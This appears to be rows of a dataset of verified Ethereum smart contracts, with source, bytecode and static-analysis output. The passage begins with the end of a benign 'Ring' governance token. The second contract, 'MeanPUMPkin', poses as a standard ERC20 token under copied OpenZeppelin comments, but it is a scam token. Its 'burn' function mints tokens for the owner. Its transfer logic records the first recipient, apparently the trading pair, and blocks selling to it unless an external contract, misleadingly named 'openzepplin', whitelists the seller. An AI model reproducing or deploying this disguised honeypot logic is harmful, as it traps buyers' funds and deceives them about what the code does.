emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Ring: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Ring: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ring: invalid signature");
require(signatory == owner, "Ring: unauthorized");
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "Ring: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Ring: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Ring: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Ring: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ring: invalid signature");
require(nonce == nonces[signatory]++, "Ring: invalid nonce");
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= expiry, "Ring: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Ring: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Ring: cannot transfer from the zero address");
require(dst != address(0), "Ring: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Ring: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Ring: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Ring: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Ring: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Ring: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
// solhint-disable-next-line no-inline-assembly
assembly { chainId := chainid() }
return chainId;
}
}
| 0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063c3cda5201161007c578063c3cda520146102cc578063d505accf146102df578063dd62ed3e146102f2578063e7a324dc14610305578063f1127ed81461030d578063fca3b5aa1461032e57610158565b806370a0823114610258578063782d6fe11461026b5780637ecebe001461028b57806395d89b411461029e578063a9059cbb146102a6578063b4b5ea57146102b957610158565b806330adf81f1161011557806330adf81f146101e0578063313ce567146101e857806340c10f19146101fd578063587cde1e146102125780635c19a95c146102255780636fcfff451461023857610158565b806306fdde031461015d578063075461721461017b578063095ea7b31461019057806318160ddd146101b057806320606b70146101c557806323b872dd146101cd575b600080fd5b610165610341565b6040516101729190611ac4565b60405180910390f35b61018361036a565b60405161017291906119e8565b6101a361019e36600461190f565b610379565b6040516101729190611a16565b6101b8610443565b6040516101729190611a21565b6101b8610449565b6101a36101db36600461186b565b61046d565b6101b86105bc565b6101f06105e0565b6040516101729190611d63565b61021061020b36600461190f565b6105e5565b005b61018361022036600461181f565b6107c2565b61021061023336600461181f565b6107dd565b61024b61024636600461181f565b6107ea565b6040516101729190611d33565b6101b861026636600461181f565b610802565b61027e61027936600461190f565b61082a565b6040516101729190611d71565b6101b861029936600461181f565b610a33565b610165610a45565b6101a36102b436600461190f565b610a64565b61027e6102c736600461181f565b610aab565b6102106102da366004611938565b610b1c565b6102106102ed3660046118a6565b610d27565b6101b8610300366004611839565b611039565b6101b861106d565b61032061031b36600461198f565b611091565b604051610172929190611d44565b61021061033c36600461181f565b6110c6565b6040518060400160405280600d81526020016c52696e672e45786368616e676560981b81525081565b6001546001600160a01b031681565b60008060001983141561038f57506000196103bf565b6103bc836040518060400160405280601c8152602001600080516020611da0833981519152815250611159565b90505b3360008181526002602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042f908590611d71565b60405180910390a360019150505b92915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b038316600090815260026020908152604080832033808552908352818420548251808401909352601c8352600080516020611da083398151915293830193909352916001600160601b03169083906104cd908690611159565b9050866001600160a01b0316836001600160a01b0316141580156104fa57506001600160601b0382811614155b156105a457600061052483836040518060600160405280602f8152602001611e28602f9139611188565b6001600160a01b038981166000818152600260209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061059a908590611d71565b60405180910390a3505b6105af8787836111c7565b5060019695505050505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b6001546001600160a01b031633146106185760405162461bcd60e51b815260040161060f90611c29565b60405180910390fd5b6001600160a01b03821661063e5760405162461bcd60e51b815260040161060f90611cb3565b600061066d826040518060400160405280601c8152602001600080516020611da0833981519152815250611159565b90506000610695600054604051806060016040528060218152602001611dc060219139611159565b90506106ba8183604051806060016040528060218152602001611dc06021913961138b565b6001600160601b0390811660009081556001600160a01b038616815260036020908152604091829020548251808401909352601f83527f52696e673a207472616e7366657220616d6f756e74206f766572666c6f77730091830191909152610725921690849061138b565b6001600160a01b03851660008181526003602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061078f908690611d71565b60405180910390a36001600160a01b038085166000908152600460205260408120546107bc9216846113c7565b50505050565b6004602052600090815260409020546001600160a01b031681565b6107e73382611593565b50565b60066020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600360205260409020546001600160601b03165b919050565b600043821061084b5760405162461bcd60e51b815260040161060f90611cfc565b6001600160a01b03831660009081526006602052604090205463ffffffff168061087957600091505061043d565b6001600160a01b038416600090815260056020908152604080832063ffffffff6000198601811685529252909120541683106108f5576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061043d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff1683101561093057600091505061043d565b600060001982015b8163ffffffff168163ffffffff1611156109ee576000600263ffffffff848403166001600160a01b038916600090815260056020908152604080832094909304860363ffffffff818116845294825291839020835180850190945254938416808452600160201b9094046001600160601b0316908301529250908714156109c95760200151945061043d9350505050565b805163ffffffff168711156109e0578193506109e7565b6001820392505b5050610938565b506001600160a01b038516600090815260056020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60076020526000908152604090205481565b60405180604001604052806003815260200162524e4760e81b81525081565b600080610a94836040518060400160405280601c8152602001600080516020611da0833981519152815250611159565b9050610aa13385836111c7565b5060019392505050565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610ad6576000610b15565b6001600160a01b0383166000908152600560209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600d81526c52696e672e45786368616e676560981b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fc4e71f6c9a52337ef227b57f6f519032dd8cf9c1d89c17993b8b57fa08d87b04610b8d611617565b30604051602001610ba19493929190611a82565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610bf29493929190611a5e565b60405160208183030381529060405280519060200120905060008282604051602001610c1f9291906119cd565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610c5c9493929190611aa6565b6020604051602081039080840390855afa158015610c7e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610cb15760405162461bcd60e51b815260040161060f90611b44565b6001600160a01b03811660009081526007602052604090208054600181019091558914610cf05760405162461bcd60e51b815260040161060f90611b17565b87421115610d105760405162461bcd60e51b815260040161060f90611bc6565b610d1a818b611593565b505050505b505050505050565b6000600019861415610d3c5750600019610d6c565b610d69866040518060400160405280601c8152602001600080516020611da0833981519152815250611159565b90505b60408051808201909152600d81526c52696e672e45786368616e676560981b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fc4e71f6c9a52337ef227b57f6f519032dd8cf9c1d89c17993b8b57fa08d87b04610ddd611617565b30604051602001610df19493929190611a82565b60408051601f1981840301815282825280516020918201206001600160a01b038d166000908152600783529283208054600181019091559094509192610e63927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928e928e928e9290918e9101611a2a565b60405160208183030381529060405280519060200120905060008282604051602001610e909291906119cd565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610ecd9493929190611aa6565b6020604051602081039080840390855afa158015610eef573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f225760405162461bcd60e51b815260040161060f90611b44565b8b6001600160a01b0316816001600160a01b031614610f535760405162461bcd60e51b815260040161060f90611bfd565b88421115610f735760405162461bcd60e51b815260040161060f90611bc6565b84600260008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516110239190611d71565b60405180910390a3505050505050505050505050565b6001600160a01b0391821660009081526002602090815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600560209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6001546001600160a01b031633146110f05760405162461bcd60e51b815260040161060f90611c60565b6001546040517f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f69161112f916001600160a01b039091169084906119fc565b60405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b600081600160601b84106111805760405162461bcd60e51b815260040161060f9190611ac4565b509192915050565b6000836001600160601b0316836001600160601b0316111582906111bf5760405162461bcd60e51b815260040161060f9190611ac4565b505050900390565b6001600160a01b0383166111ed5760405162461bcd60e51b815260040161060f90611b7b565b6001600160a01b0382166112135760405162461bcd60e51b815260040161060f90611cb3565b6001600160a01b03831660009081526003602090815260409182902054825160608101909352602580845261125e936001600160601b039092169285929190611de190830139611188565b6001600160a01b03848116600090815260036020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251808401909352601f83527f52696e673a207472616e7366657220616d6f756e74206f766572666c6f777300918301919091526112df921690839061138b565b6001600160a01b038381166000818152600360205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134c908590611d71565b60405180910390a36001600160a01b03808416600090815260046020526040808220548584168352912054611386929182169116836113c7565b505050565b6000838301826001600160601b0380871690831610156113be5760405162461bcd60e51b815260040161060f9190611ac4565b50949350505050565b816001600160a01b0316836001600160a01b0316141580156113f257506000816001600160601b0316115b15611386576001600160a01b038316156114c7576001600160a01b03831660009081526006602052604081205463ffffffff169081611432576000611471565b6001600160a01b0385166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006114b582856040518060400160405280601c81526020017f52696e673a20766f746520616d6f756e7420756e646572666c6f777300000000815250611188565b90506114c38684848461161b565b5050505b6001600160a01b03821615611386576001600160a01b03821660009081526006602052604081205463ffffffff169081611502576000611541565b6001600160a01b0384166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061158582856040518060400160405280601b81526020017f52696e673a20766f746520616d6f756e74206f766572666c6f7773000000000081525061138b565b9050610d1f8584848461161b565b6001600160a01b03808316600081815260046020818152604080842080546003845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46107bc8284836113c7565b4690565b600061163f43604051806060016040528060228152602001611e06602291396117d0565b905060008463ffffffff1611801561168857506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b156116e7576001600160a01b0385166000908152600560209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611786565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600583528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600690935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516117c1929190611d85565b60405180910390a25050505050565b600081600160201b84106111805760405162461bcd60e51b815260040161060f9190611ac4565b80356001600160a01b038116811461082557600080fd5b803560ff8116811461082557600080fd5b600060208284031215611830578081fd5b610b15826117f7565b6000806040838503121561184b578081fd5b611854836117f7565b9150611862602084016117f7565b90509250929050565b60008060006060848603121561187f578081fd5b611888846117f7565b9250611896602085016117f7565b9150604084013590509250925092565b600080600080600080600060e0888a0312156118c0578283fd5b6118c9886117f7565b96506118d7602089016117f7565b955060408801359450606088013593506118f36080890161180e565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611921578182fd5b61192a836117f7565b946020939093013593505050565b60008060008060008060c08789031215611950578182fd5b611959876117f7565b955060208701359450604087013593506119756060880161180e565b92506080870135915060a087013590509295509295509295565b600080604083850312156119a1578182fd5b6119aa836117f7565b9150602083013563ffffffff811681146119c2578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611af057858101830151858201604001528201611ad4565b81811115611b015783604083870101525b50601f01601f1916929092016040019392505050565b60208082526013908201527252696e673a20696e76616c6964206e6f6e636560681b604082015260600190565b60208082526017908201527f52696e673a20696e76616c6964207369676e6174757265000000000000000000604082015260600190565b6020808252602b908201527f52696e673a2063616e6e6f74207472616e736665722066726f6d20746865207a60408201526a65726f206164647265737360a81b606082015260800190565b60208082526017908201527f52696e673a207369676e61747572652065787069726564000000000000000000604082015260600190565b602080825260129082015271149a5b99ce881d5b985d5d1a1bdc9a5e995960721b604082015260600190565b6020808252601e908201527f52696e673a206f6e6c7920746865206d696e7465722063616e206d696e740000604082015260600190565b60208082526033908201527f52696e673a206f6e6c7920746865206d696e7465722063616e206368616e676560408201527220746865206d696e746572206164647265737360681b606082015260800190565b60208082526029908201527f52696e673a2063616e6e6f74207472616e7366657220746f20746865207a65726040820152686f206164647265737360b81b606082015260800190565b60208082526018908201527f52696e673a206e6f74207965742064657465726d696e65640000000000000000604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b039283168152911660208201526040019056fe52696e673a20616d6f756e74206578636565647320393620626974730000000052696e673a20746f74616c537570706c792065786365656473203936206269747352696e673a207472616e7366657220616d6f756e7420657863656564732062616c616e636552696e673a20626c6f636b206e756d6265722065786365656473203332206269747352696e673a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a264697066735822122074423613c74f84062377d146e5baeb4d7100b164d60c24c918234de627dcd90464736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,630 |
0xe5b009c127d9e7b6b467595386174fb5e055e5d8 | // SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MeanPUMPkin is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
